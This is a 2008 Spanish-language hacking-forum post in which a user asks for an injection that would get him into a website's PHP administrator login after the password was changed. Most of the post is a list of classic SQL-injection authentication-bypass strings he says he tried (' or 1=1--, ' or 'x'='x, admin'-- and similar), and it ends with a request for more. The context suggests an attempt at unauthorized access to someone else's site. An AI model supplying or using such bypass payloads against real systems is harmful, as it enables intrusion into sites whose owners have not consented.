Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - gnesisxxi

#1
Nivel Web / Inyeccion Login en PHP
25 Noviembre 2008, 17:21 PM
Señores, estuve mirando y probando pero todavia no pude dar.
Este es el codigo de la pagina:

$idEditor=admin;

if ($idEditor != '' AND $masterPwd == 'passworddesconocido') {

Es el login al panel administrador de un site:
Conozco el codigo porque tenia un backup, pero cambiaron el password.

Que inyeccion creerian que puede servir para este caso???

Ya he probado estos:
admin'--

' or 0=0 --

" or 0=0 --

or 0=0 --

' or 0=0 #

" or 0=0 #

or 0=0 #

' or 'x'='x

" or "x"="x

') or ('x'='x

' or 1=1--

" or 1=1--

or 1=1--

' or a=a--

" or "a"="a

') or ('a'='a

") or ("a"="a

hi" or "a"="a

hi" or 1=1 --

hi' or 1=1 --

hi' or 'a'='a

hi') or ('a'='a

hi") or ("a"="a

Si alguin se anima.

Saludos.